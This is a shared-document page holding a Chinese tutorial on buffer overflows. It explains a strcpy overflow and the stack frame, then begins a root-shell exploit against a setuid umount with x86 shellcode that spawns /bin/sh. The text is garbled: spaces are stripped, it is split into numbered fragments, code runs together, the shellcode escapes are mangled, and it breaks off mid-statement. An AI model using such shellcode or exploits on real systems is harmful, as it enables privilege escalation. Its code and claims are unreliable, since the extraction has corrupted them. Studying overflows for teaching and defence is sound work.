资源描述：
《缓冲区溢出(buffer overflow)机理分析》由会员上传分享，免费在线阅读，更多相关内容在行业资料-天天文库。
1、1.什么是缓冲区溢出?~~~~~~~~~~~~~~~~~~~bufferoverflow,bufferoverrun,smashthestack,trashthestack,scribblethestack,manglethestack,spam,aliasbug,fandangooncore,memoryleak,precedencelossage,overrunscrew...指的是一种系统攻击的手段，通过往程序的缓冲区写超出其长度的内容，造成缓冲区的溢出，从而破坏程序的堆栈，使程序转而执行其它指令，以达到攻击的目的。据统计，通过缓
2、冲区溢出进行的攻击占所有系统攻击总数的80%以上。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程序:example1.c----------------------------------------------------------------------voidfunction(char*str){charbuffer[16];strcpy(buffer,str);}----------------------------------------------------------------------上面的
3、strcpy()将直接吧str中的内容copy到buffer中。这样只要str的长度大于16，就会造成buffer的溢出，使程序运行出错。存在象strcpy这样的问题的标准函数还有strcat(),sprintf(),vsprintf(),gets(),scanf(),以及在循环内的getc(),fgetc(),getchar()等。当然，随便往缓冲区中填东西造成它溢出一般只会出现Segmentationfault错误，而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell，再通过shell执行其它命令。如果
4、该程序属于root且有suid权限的话，攻击者就获得了一个有root权限的shell，可以对系统进行任意操作了。请注意，如果没有特别说明，下面的内容都假设用户使用的平台为基于Intelx86CPU的Linux系统。对其它平台来说，本文的概念同样适用，但程序要做相应修改。2.制造缓冲区溢出~~~~~~~~~~~~~~~~一个程序在内存中通常分为程序段，数据端和堆栈三部分。程序段里放着程序的机器码和只读数据。数据段放的是程序中的静态数据。动态数据则通过堆栈来存放。在内存中，它们的位置是:+------------------+内存低端
5、程序
6、段
7、
8、------------------
9、
10、数据段
11、
12、------------------
13、
14、堆栈
15、+------------------+内存高端当程序中发生函数调用时，计算机做如下操作：首先把参数压入堆栈；然后保存指令寄存器(IP)中的内容做为返回地址(RET)；第三个放入堆栈的是基址寄存器(FP)；然后把当前的栈指针(SP)拷贝到FP，做为新的基地址；最后为本地变量留出一定空间，把SP减去适当的数值。以下面程序为例：example2.c-----------------------------------------------
16、-----------------------voidfunction(char*str){charbuffer[16];strcpy(buffer,str);}voidmain(){charlarge_string[256];inti;for(i=0;i#include#include#include#include#definePATH_MOUNT"/bin/umount"#defineBUFFER_SIZE1024#defineDEFAULT_OFFSET50u_longget_esp(){__asm__("movl%esp,%e
17、ax");}main(intargc,char**argv){u_charexecshell[]="xebx24x5ex8dx1ex89x5ex0bx33xd2x89x56x07x89x56x0f""xb8x1bx56x34x12x35x10x56x34x12x8dx4ex0bx8bxd1xcd""x80x33xc0x40xcdx80xe8xd7xffxffxff/bin/sh";char*buff=NULL;unsignedlong*addr_ptr
18、=NULL;char*ptr=NULL;inti;intofs=DEFAULT_OFFSET;buff=malloc(4096);if(!buff){printf("can'tallocatememory
